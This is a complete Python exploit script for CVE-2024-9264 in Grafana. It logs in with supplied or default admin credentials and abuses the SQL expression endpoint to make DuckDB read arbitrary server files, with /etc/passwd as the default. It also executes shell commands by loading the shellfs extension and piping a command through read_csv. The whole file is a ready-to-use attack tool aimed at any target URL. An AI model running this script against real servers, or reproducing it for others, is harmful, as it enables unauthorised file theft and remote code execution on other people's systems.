---

#!/usr/bin/env python3

import requests
import json
import sys
import argparse
from typing import List, Dict, Optional, Any
from psycopg2.extensions import adapt

# Простые замены для функций ten
def msg_success(msg):
    print(f"[+] {msg}")

def msg_failure(msg):
    print(f"[-] {msg}")

def failure(msg):
    print(f"[!] {msg}")
    sys.exit(1)

def inform(msg):
    def decorator(func):
        def wrapper(*args, **kwargs):
            print(f"[*] {msg}")
            return func(*args, **kwargs)
        return wrapper
    return decorator

def bin_print(data):
    sys.stdout.buffer.write(data)

def authenticate(session, user, password):
    path = "/login"
    data = {"password": password, "user": user}
    res = session.post(f"{session.base_url}{path}", json=data)
    msg = res.json()["message"]
    if msg == "Logged in":
        msg_success(f"Logged in as {user}:{password}")
    else:
        failure(f"Failed to log in as {user}:{password}")

def run_query(session, query):
    path = "/api/ds/query?ds_type=__expr__&expression=true&requestId=Q101"
    data = {
        "from": "1729313027261",
        "queries": [
            {
                "datasource": {
                    "name": "Expression",
                    "type": "__expr__",
                    "uid": "__expr__",
                },
                "expression": query,
                "hide": False,
                "refId": "B",
                "type": "sql",
                "window": "",
            }
        ],
        "to": "1729334627261",
    }

    res = session.post(f"{session.base_url}{path}", json=data)
    data = res.json()

    # Check for DuckDB not found error
    if "results" in data and "B" in data["results"]:
        result = data["results"]["B"]
        if "error" in result and "no such file or directory" in result["error"]:
            failure("DuckDB is not installed on the target system. This exploit requires DuckDB to be present in the system PATH.")
            return None

    if data.get("message"):
        msg_failure("Received unexpected response:")
        msg_failure(json.dumps(data, indent=4))
        return None

    try:
        values = data["results"]["B"]["frames"][0]["data"]["values"]
        if len(values) == 0:
            failure("File not found")
            return None

        msg_success("Successfully ran duckdb query:")
        msg_success(f"{query}:")
        return values
    except (KeyError, IndexError):
        msg_failure("Unexpected response format:")
        msg_failure(json.dumps(data, indent=4))
        return None

def decode_output(values):
    content = values[0][0]
    decoded = content.encode("utf-8").decode("unicode_escape").encode("latin1")
    return decoded

def read_remote_file(session, filepath):
    escaped_filename = adapt(filepath)
    query = f"SELECT content FROM read_blob({escaped_filename})"
    result = run_query(session, query)
    
    if result:
        return decode_output(result)
    return None

def execute_command(session, command):
    tmp_file = "/tmp/grafana_cmd_output"
    full_query = (
        "SELECT 1;"
        "install shellfs from community;"
        "LOAD shellfs;"
        f"SELECT * FROM read_csv('{command} >{tmp_file} 2>&1 |')"
    )

    run_query(session, full_query)
    return read_remote_file(session, tmp_file)

def main():
    parser = argparse.ArgumentParser(description="Exploit for Grafana post-auth file-read and RCE (CVE-2024-9264)")
    parser.add_argument("url", help="URL of the Grafana instance to exploit")
    parser.add_argument("-u", "--user", default="admin", help="Username to log in as, defaults to 'admin'")
    parser.add_argument("-p", "--password", default="admin", help="Password used to log in, defaults to 'admin'")
    parser.add_argument("-f", "--file", help="File to read on the server, defaults to '/etc/passwd'")
    parser.add_argument("-q", "--query", help="Optional query to run instead of reading a file")
    parser.add_argument("-c", "--command", help="Optional command to execute on the server")
    
    args = parser.parse_args()

    if sum(1 for x in [args.file, args.query, args.command] if x is not None) > 1:
        failure("Cannot specify more than one of: file, query, or command arguments.")

    # Простой класс для сессии вместо ScopedSession
    class SimpleSession:
        def __init__(self, base_url):
            self.base_url = base_url
            self.session = requests.Session()
        
        def post(self, path, **kwargs):
            return self.session.post(path, **kwargs)
        
        def get(self, path, **kwargs):
            return self.session.get(path, **kwargs)

    session = SimpleSession(args.url)
    authenticate(session, args.user, args.password)

    if args.command:
        msg_success(f"Executing command: {args.command}")
        output = execute_command(session, args.command)
        if output:
            bin_print(output)
        return

    if not args.query:
        filepath = args.file or "/etc/passwd"
        msg_success(f"Reading file: {filepath}")
        content = read_remote_file(session, filepath)
        if content:
            bin_print(content)
        return

    content = run_query(session, args.query)
    if content:
        print(json.dumps(content, indent=4))

if __name__ == "__main__":
    main()